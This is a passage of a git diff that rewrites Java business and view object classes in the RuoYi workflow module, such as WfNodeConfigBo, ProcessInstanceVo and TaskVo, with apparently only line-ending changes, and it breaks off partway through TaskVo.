a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfDefinitionConfigBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfDefinitionConfigBo.java @@ -1,60 +1,60 @@ -package org.dromara.workflow.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.workflow.domain.WfDefinitionConfig; - -/** - * 流程定义配置业务对象 wf_form_definition - * - * @author may - * @date 2024-03-18 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = WfDefinitionConfig.class, reverseConvertGenerate = false) -public class WfDefinitionConfigBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = {EditGroup.class}) - private Long id; - - /** - * 表名 - */ - @NotBlank(message = "表名不能为空", groups = {AddGroup.class}) - private String tableName; - - /** - * 流程定义ID - */ - @NotBlank(message = "流程定义ID不能为空", groups = {AddGroup.class}) - private String definitionId; - - /** - * 流程KEY - */ - @NotBlank(message = "流程KEY不能为空", groups = {AddGroup.class}) - private String processKey; - - /** - * 流程版本 - */ - @NotNull(message = "流程版本不能为空", groups = {AddGroup.class}) - private Integer version; - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.workflow.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.workflow.domain.WfDefinitionConfig; + +/** + * 流程定义配置业务对象 wf_form_definition + * + * @author may + * @date 2024-03-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = WfDefinitionConfig.class, reverseConvertGenerate = false) +public class WfDefinitionConfigBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = {EditGroup.class}) + private Long id; + + /** + * 表名 + */ + @NotBlank(message = "表名不能为空", groups = {AddGroup.class}) + private String tableName; + + /** + * 流程定义ID + */ + @NotBlank(message = "流程定义ID不能为空", groups = {AddGroup.class}) + private String definitionId; + + /** + * 流程KEY + */ + @NotBlank(message = "流程KEY不能为空", groups = {AddGroup.class}) + private String processKey; + + /** + * 流程版本 + */ + @NotNull(message = "流程版本不能为空", groups = {AddGroup.class}) + private Integer version; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfFormManageBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfFormManageBo.java index 831fc82..3c8d36f 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfFormManageBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfFormManageBo.java @@ -1,54 +1,54 @@ -package org.dromara.workflow.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.workflow.domain.WfFormManage; - -/** - * 表单管理业务对象 wf_form_manage - * - * @author may - * @date 2024-03-29 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = WfFormManage.class, reverseConvertGenerate = false) -public class WfFormManageBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 表单名称 - */ - @NotBlank(message = "表单名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String formName; - - /** - * 表单类型 - */ - @NotBlank(message = "表单类型不能为空", groups = { AddGroup.class, EditGroup.class }) - private String formType; - /** - * 路由地址/表单ID - */ - @NotBlank(message = "路由地址/表单ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private String router; - - - /** - * 备注 - */ - private String remark; - - -} +package org.dromara.workflow.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.workflow.domain.WfFormManage; + +/** + * 表单管理业务对象 wf_form_manage + * + * @author may + * @date 2024-03-29 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = WfFormManage.class, reverseConvertGenerate = false) +public class WfFormManageBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 表单名称 + */ + @NotBlank(message = "表单名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String formName; + + /** + * 表单类型 + */ + @NotBlank(message = "表单类型不能为空", groups = { AddGroup.class, EditGroup.class }) + private String formType; + /** + * 路由地址/表单ID + */ + @NotBlank(message = "路由地址/表单ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private String router; + + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfNodeConfigBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfNodeConfigBo.java index 9b97cba..6e275d9 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfNodeConfigBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfNodeConfigBo.java @@ -1,64 +1,64 @@ -package org.dromara.workflow.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.workflow.domain.WfNodeConfig; - -/** - * 节点配置业务对象 wf_node_config - * - * @author may - * @date 2024-03-30 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = WfNodeConfig.class, reverseConvertGenerate = false) -public class WfNodeConfigBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = {EditGroup.class}) - private Long id; - - /** - * 表单id - */ - private Long formId; - - /** - * 表单类型 - */ - private String formType; - - /** - * 节点名称 - */ - @NotBlank(message = "节点名称不能为空", groups = {AddGroup.class, EditGroup.class}) - private String nodeName; - - /** - * 节点id - */ - @NotBlank(message = "节点id不能为空", groups = {AddGroup.class, EditGroup.class}) - private String nodeId; - - /** - * 流程定义id - */ - @NotBlank(message = "流程定义id不能为空", groups = {AddGroup.class, EditGroup.class}) - private String definitionId; - - /** - * 是否为申请人节点 (0是 1否) - */ - @NotBlank(message = "是否为申请人节点不能为空", groups = {AddGroup.class, EditGroup.class}) - private String applyUserTask; - -} +package org.dromara.workflow.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.workflow.domain.WfNodeConfig; + +/** + * 节点配置业务对象 wf_node_config + * + * @author may + * @date 2024-03-30 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = WfNodeConfig.class, reverseConvertGenerate = false) +public class WfNodeConfigBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = {EditGroup.class}) + private Long id; + + /** + * 表单id + */ + private Long formId; + + /** + * 表单类型 + */ + private String formType; + + /** + * 节点名称 + */ + @NotBlank(message = "节点名称不能为空", groups = {AddGroup.class, EditGroup.class}) + private String nodeName; + + /** + * 节点id + */ + @NotBlank(message = "节点id不能为空", groups = {AddGroup.class, EditGroup.class}) + private String nodeId; + + /** + * 流程定义id + */ + @NotBlank(message = "流程定义id不能为空", groups = {AddGroup.class, EditGroup.class}) + private String definitionId; + + /** + * 是否为申请人节点 (0是 1否) + */ + @NotBlank(message = "是否为申请人节点不能为空", groups = {AddGroup.class, EditGroup.class}) + private String applyUserTask; + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ActHistoryInfoVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ActHistoryInfoVo.java index e4c1142..5b46319 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ActHistoryInfoVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ActHistoryInfoVo.java @@ -1,93 +1,93 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; -import org.dromara.common.translation.annotation.Translation; -import org.dromara.common.translation.constant.TransConstant; -import org.flowable.engine.task.Attachment; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; -import java.util.List; - -/** - * 流程审批记录视图 - * - * @author may - */ -@Data -public class ActHistoryInfoVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - /** - * 任务id - */ - private String id; - /** - * 节点id - */ - private String taskDefinitionKey; - /** - * 任务名称 - */ - private String name; - /** - * 流程实例id - */ - private String processInstanceId; - /** - * 版本 - */ - private Integer version; - /** - * 开始时间 - */ - private Date startTime; - /** - * 结束时间 - */ - private Date endTime; - /** - * 运行时长 - */ - private String runDuration; - /** - * 状态 - */ - private String status; - /** - * 状态 - */ - private String statusName; - /** - * 办理人id - */ - private String assignee; - - /** - * 办理人名称 - */ - @Translation(type = TransConstant.USER_ID_TO_NICKNAME, mapper = "assignee") - private String nickName; - - /** - * 办理人id - */ - private String owner; - - /** - * 审批信息id - */ - private String commentId; - - /** - * 审批信息 - */ - private String comment; - - /** - * 审批附件 - */ - private List attachmentList; -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; +import org.dromara.common.translation.annotation.Translation; +import org.dromara.common.translation.constant.TransConstant; +import org.flowable.engine.task.Attachment; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; +import java.util.List; + +/** + * 流程审批记录视图 + * + * @author may + */ +@Data +public class ActHistoryInfoVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + /** + * 任务id + */ + private String id; + /** + * 节点id + */ + private String taskDefinitionKey; + /** + * 任务名称 + */ + private String name; + /** + * 流程实例id + */ + private String processInstanceId; + /** + * 版本 + */ + private Integer version; + /** + * 开始时间 + */ + private Date startTime; + /** + * 结束时间 + */ + private Date endTime; + /** + * 运行时长 + */ + private String runDuration; + /** + * 状态 + */ + private String status; + /** + * 状态 + */ + private String statusName; + /** + * 办理人id + */ + private String assignee; + + /** + * 办理人名称 + */ + @Translation(type = TransConstant.USER_ID_TO_NICKNAME, mapper = "assignee") + private String nickName; + + /** + * 办理人id + */ + private String owner; + + /** + * 审批信息id + */ + private String commentId; + + /** + * 审批信息 + */ + private String comment; + + /** + * 审批附件 + */ + private List attachmentList; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/GraphicInfoVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/GraphicInfoVo.java index 7636131..af0ad2f 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/GraphicInfoVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/GraphicInfoVo.java @@ -1,47 +1,47 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 节点图形信息 - * - * @author may - */ -@Data -public class GraphicInfoVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - /** - * x坐标 - */ - private double x; - - /** - * y坐标 - */ - private double y; - - /** - * 节点高度 - */ - private double height; - - /** - * 节点宽度 - */ - private double width; - - /** - * 节点id - */ - private String nodeId; - - /** - * 节点名称 - */ - private String nodeName; -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 节点图形信息 + * + * @author may + */ +@Data +public class GraphicInfoVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + /** + * x坐标 + */ + private double x; + + /** + * y坐标 + */ + private double y; + + /** + * 节点高度 + */ + private double height; + + /** + * 节点宽度 + */ + private double width; + + /** + * 节点id + */ + private String nodeId; + + /** + * 节点名称 + */ + private String nodeName; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ModelVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ModelVo.java index b2ce811..c9ec01f 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ModelVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ModelVo.java @@ -1,48 +1,48 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 模型视图对象 - * - * @author may - */ -@Data -public class ModelVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 模型id - */ - private String id; - - /** - * 模型名称 - */ - private String name; - - /** - * 模型标识key - */ - private String key; - - /** - * 模型分类 - */ - private String categoryCode; - - /** - * 模型XML - */ - private String xml; - - /** - * 备注 - */ - private String description; -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 模型视图对象 + * + * @author may + */ +@Data +public class ModelVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 模型id + */ + private String id; + + /** + * 模型名称 + */ + private String name; + + /** + * 模型标识key + */ + private String key; + + /** + * 模型分类 + */ + private String categoryCode; + + /** + * 模型XML + */ + private String xml; + + /** + * 备注 + */ + private String description; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/MultiInstanceVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/MultiInstanceVo.java index b998396..de88f4b 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/MultiInstanceVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/MultiInstanceVo.java @@ -1,33 +1,33 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 多实例信息 - * - * @author may - */ -@Data -public class MultiInstanceVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 会签类型(串行,并行) - */ - private Object type; - - /** - * 会签人员KEY - */ - private String assignee; - - /** - * 会签人员集合KEY - */ - private String assigneeList; -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 多实例信息 + * + * @author may + */ +@Data +public class MultiInstanceVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 会签类型(串行,并行) + */ + private Object type; + + /** + * 会签人员KEY + */ + private String assignee; + + /** + * 会签人员集合KEY + */ + private String assigneeList; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ParticipantVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ParticipantVo.java index c5876f6..e7d51f6 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ParticipantVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ParticipantVo.java @@ -1,43 +1,43 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - -/** - * 参与者 - * - * @author may - */ -@Data -public class ParticipantVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 组id(角色id) - */ - private List groupIds; - - /** - * 候选人id(用户id) 当组id不为空时,将组内人员查出放入candidate - */ - private List candidate; - - /** - * 候选人名称(用户名称) 当组id不为空时,将组内人员查出放入candidateName - */ - private List candidateName; - - /** - * 是否认领标识 - * 当为空时默认当前任务不需要认领 - * 当为true时当前任务说明为候选模式并且有人已经认领了任务可以归还, - * 当为false时当前任务说明为候选模式该任务未认领, - */ - private Boolean claim; - -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + +/** + * 参与者 + * + * @author may + */ +@Data +public class ParticipantVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 组id(角色id) + */ + private List groupIds; + + /** + * 候选人id(用户id) 当组id不为空时,将组内人员查出放入candidate + */ + private List candidate; + + /** + * 候选人名称(用户名称) 当组id不为空时,将组内人员查出放入candidateName + */ + private List candidateName; + + /** + * 是否认领标识 + * 当为空时默认当前任务不需要认领 + * 当为true时当前任务说明为候选模式并且有人已经认领了任务可以归还, + * 当为false时当前任务说明为候选模式该任务未认领, + */ + private Boolean claim; + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ProcessDefinitionVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ProcessDefinitionVo.java index 034adbb..87c69b1 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ProcessDefinitionVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ProcessDefinitionVo.java @@ -1,70 +1,70 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 流程定义视图 - * - * @author may - */ -@Data -public class ProcessDefinitionVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 流程定义id - */ - private String id; - - /** - * 流程定义名称 - */ - private String name; - - /** - * 流程定义标识key - */ - private String key; - - /** - * 流程定义版本 - */ - private int version; - - /** - * 流程定义挂起或激活 1激活 2挂起 - */ - private int suspensionState; - - /** - * 流程xml名称 - */ - private String resourceName; - - /** - * 流程图片名称 - */ - private String diagramResourceName; - - /** - * 流程部署id - */ - private String deploymentId; - - /** - * 流程部署时间 - */ - private Date deploymentTime; - - /** - * 流程定义配置 - */ - private WfDefinitionConfigVo wfDefinitionConfigVo; - -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 流程定义视图 + * + * @author may + */ +@Data +public class ProcessDefinitionVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 流程定义id + */ + private String id; + + /** + * 流程定义名称 + */ + private String name; + + /** + * 流程定义标识key + */ + private String key; + + /** + * 流程定义版本 + */ + private int version; + + /** + * 流程定义挂起或激活 1激活 2挂起 + */ + private int suspensionState; + + /** + * 流程xml名称 + */ + private String resourceName; + + /** + * 流程图片名称 + */ + private String diagramResourceName; + + /** + * 流程部署id + */ + private String deploymentId; + + /** + * 流程部署时间 + */ + private Date deploymentTime; + + /** + * 流程定义配置 + */ + private WfDefinitionConfigVo wfDefinitionConfigVo; + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ProcessInstanceVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ProcessInstanceVo.java index ab3e7a1..598a0da 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ProcessInstanceVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/ProcessInstanceVo.java @@ -1,100 +1,100 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; -import java.util.List; - -/** - * 流程实例视图 - * - * @author may - */ -@Data -public class ProcessInstanceVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 流程实例id - */ - private String id; - - /** - * 流程定义id - */ - private String processDefinitionId; - - /** - * 流程定义名称 - */ - private String processDefinitionName; - - /** - * 流程定义key - */ - private String processDefinitionKey; - - /** - * 流程定义版本 - */ - private Integer processDefinitionVersion; - - /** - * 部署id - */ - private String deploymentId; - - /** - * 业务id - */ - private String businessKey; - - /** - * 是否挂起 - */ - private Boolean isSuspended; - - /** - * 租户id - */ - private String tenantId; - - /** - * 启动时间 - */ - private Date startTime; - - /** - * 结束时间 - */ - private Date endTime; - - /** - * 启动人id - */ - private String startUserId; - - /** - * 流程状态 - */ - private String businessStatus; - - /** - * 流程状态 - */ - private String businessStatusName; - - /** - * 待办任务集合 - */ - private List taskVoList; - - /** - * 节点配置 - */ - private WfNodeConfigVo wfNodeConfigVo; -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; +import java.util.List; + +/** + * 流程实例视图 + * + * @author may + */ +@Data +public class ProcessInstanceVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 流程实例id + */ + private String id; + + /** + * 流程定义id + */ + private String processDefinitionId; + + /** + * 流程定义名称 + */ + private String processDefinitionName; + + /** + * 流程定义key + */ + private String processDefinitionKey; + + /** + * 流程定义版本 + */ + private Integer processDefinitionVersion; + + /** + * 部署id + */ + private String deploymentId; + + /** + * 业务id + */ + private String businessKey; + + /** + * 是否挂起 + */ + private Boolean isSuspended; + + /** + * 租户id + */ + private String tenantId; + + /** + * 启动时间 + */ + private Date startTime; + + /** + * 结束时间 + */ + private Date endTime; + + /** + * 启动人id + */ + private String startUserId; + + /** + * 流程状态 + */ + private String businessStatus; + + /** + * 流程状态 + */ + private String businessStatusName; + + /** + * 待办任务集合 + */ + private List taskVoList; + + /** + * 节点配置 + */ + private WfNodeConfigVo wfNodeConfigVo; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TActivityVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TActivityVo.java index 9b67adb..268c43e 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TActivityVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TActivityVo.java @@ -1,84 +1,84 @@ -package org.dromara.workflow.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.workflow.domain.TActivity; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 活动视图对象 t_activity - * - * @author Lion Li - * @date 2024-07-19 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TActivity.class) -public class TActivityVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 租户号 - */ - @ExcelProperty(value = "租户号") - private Long id; - - /** - * 标题 - */ - @ExcelProperty(value = "标题") - private String title; - - /** - * 图片 - */ - @ExcelProperty(value = "图片") - private String image; - - /** - * 排序 - */ - @ExcelProperty(value = "排序") - private Long sort; - - /** - * 开始时间 - */ - @ExcelProperty(value = "开始时间") - private Date startTime; - - /** - * 结束时间 - */ - @ExcelProperty(value = "结束时间") - private Date endTime; - - /** - * 浏览量 - */ - @ExcelProperty(value = "浏览量") - private Long browseNum; - - /** - * 内容(富文本) - */ - @ExcelProperty(value = "内容(富文本)") - private String content; - - /** - * 点赞数 - */ - @ExcelProperty(value = "点赞数") - private Long likeNum; - - -} +package org.dromara.workflow.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.workflow.domain.TActivity; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 活动视图对象 t_activity + * + * @author Lion Li + * @date 2024-07-19 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TActivity.class) +public class TActivityVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 租户号 + */ + @ExcelProperty(value = "租户号") + private Long id; + + /** + * 标题 + */ + @ExcelProperty(value = "标题") + private String title; + + /** + * 图片 + */ + @ExcelProperty(value = "图片") + private String image; + + /** + * 排序 + */ + @ExcelProperty(value = "排序") + private Long sort; + + /** + * 开始时间 + */ + @ExcelProperty(value = "开始时间") + private Date startTime; + + /** + * 结束时间 + */ + @ExcelProperty(value = "结束时间") + private Date endTime; + + /** + * 浏览量 + */ + @ExcelProperty(value = "浏览量") + private Long browseNum; + + /** + * 内容(富文本) + */ + @ExcelProperty(value = "内容(富文本)") + private String content; + + /** + * 点赞数 + */ + @ExcelProperty(value = "点赞数") + private Long likeNum; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TaskVo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TaskVo.java index 466e776..af674a8 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TaskVo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/vo/TaskVo.java @@ -1,173 +1,173 @@ -package org.dromara.workflow.domain.vo; - -import lombok.Data; -import org.dromara.common.translation.annotation.Translation; -import org.dromara.common.translation.constant.TransConstant; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 任务视图 - * - * @author may - */ -@Data -public class TaskVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 任务id - */ - private String id; - - /** - * 任务名称 - */ - private String name; - - /** - * 描述 - */ - private String description; - - /** - * 优先级 - */ - private Integer priority; - - /** - * 负责此任务的人员的用户id - */ - private String owner; - - /** - * 办理人id - */ - private Long assignee; - - /** - * 办理人 - */ - @Translation(type = TransConstant.USER_ID_TO_NICKNAME, mapper = "assignee") - private String assigneeName; - - - /** - * 流程实例id - */ - private String processInstanceId; - - /** - * 执行id - */ - private String executionId; - - /** - * 无用 - */ - private String taskDefinitionId; - - /** - * 流程定义id - */ - private String processDefinitionId; - - /** - * 创建时间 - */ - private Date createTime; - - /** - * 已办任务-创建时间 - */ - private Date startTime; - - /** - * 结束时间 - */ - private Date endTime; - - /** - * 节点id - */ - private String taskDefinitionKey; - - /** - * 任务截止日期 - */ - private Date dueDate; - - /** - * 流程类别 - */ - private String category; - - /** - * 父级任务id - */ - private String parentTaskId; - - /** - * 租户id - */ - private String tenantId; - - /** - * 认领时间 - */ - private Date claimTime; - - /** - * 流程状态 - */ - private String businessStatus; - - /** - * 流程状态 - */ - private String businessStatusName; - - /** - * 流程定义名称 - */ - private String processDefinitionName; - - /** - * 流程定义key - */ - private String processDefinitionKey; - - /** - * 流程定义版本 - */ - private Integer processDefinitionVersion; - - /** - * 参与者 - */ - private ParticipantVo participantVo; - - /** - * 是否会签 - */ - private Boolean multiInstance; - - /** - * 业务id - */ - private String businessKey; - - /** - * 流程定义配置 - */ - private WfDefinitionConfigVo wfDefinitionConfigVo; - - /** - * 节点配置 - */ - private WfNodeConfigVo wfNodeConfigVo; -} +package org.dromara.workflow.domain.vo; + +import lombok.Data; +import org.dromara.common.translation.annotation.Translation; +import org.dromara.common.translation.constant.TransConstant; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 任务视图 + * + * @author may + */ +@Data +public class TaskVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 任务id + */ + private String id; + + /** + * 任务名称 + */ + private String name; + + /** + * 描述 + */ + private String description; + + /** + * 优先级 + */ + private Integer priority; + + /** + * 负责此任务的人员的用户id + */ + private String owner; + + /** + * 办理人id + */ + private Long assignee; + + /** + * 办理人 + */ + @Translation(type = TransConstant.USER_ID_TO_NICKNAME, mapper = "assignee") + private String assigneeName; + + + /** + * 流程实例id + */ + private String processInstanceId; + + /** + * 执行id + */ + private String executionId; + + /** + * 无用 + */ + private String taskDefinitionId; + + /** + * 流程定义id + */ + private String processDefinitionId; + + /** + * 创建时间 + */ + private Date createTime; + + /** + * 已办任务-创建时间 + */ + private Date startTime; + + /** + * 结束时间 + */ + private Date endTime; + + /** + * 节点id + */ + private String taskDefinitionKey; + + /** + * 任务截止日期 + */ + private Date dueDate; + + /** + * 流程类别 + */ + private String category; + + /** + * 父级任务id + */ + private String parentTaskId; + + /** + * 租户id + */ + private String tenantId; + + /** + * 认领时间 + */ + private Date claimTime; + + /** + * 流程状态 + */ + private String businessStatus; + + /** + * 流程状态 + */ + private String businessStatusName; + + /** + * 流程定义名称 + */ + private String processDefinitionName; + + /** + * 流程定义key + */ + private String processDefinitionKey; + + /** + * 流程定义版本 + */ + private Integer processDefinitionVersion; + + /** + * 参与者 + */ + private ParticipantVo participantVo; + + /** + * 是否会签 + */ + private Boolean multiInstance; + + /** + * 业务id + */ + private String businessKey; + + /** + * 流程定义配置 + */ + 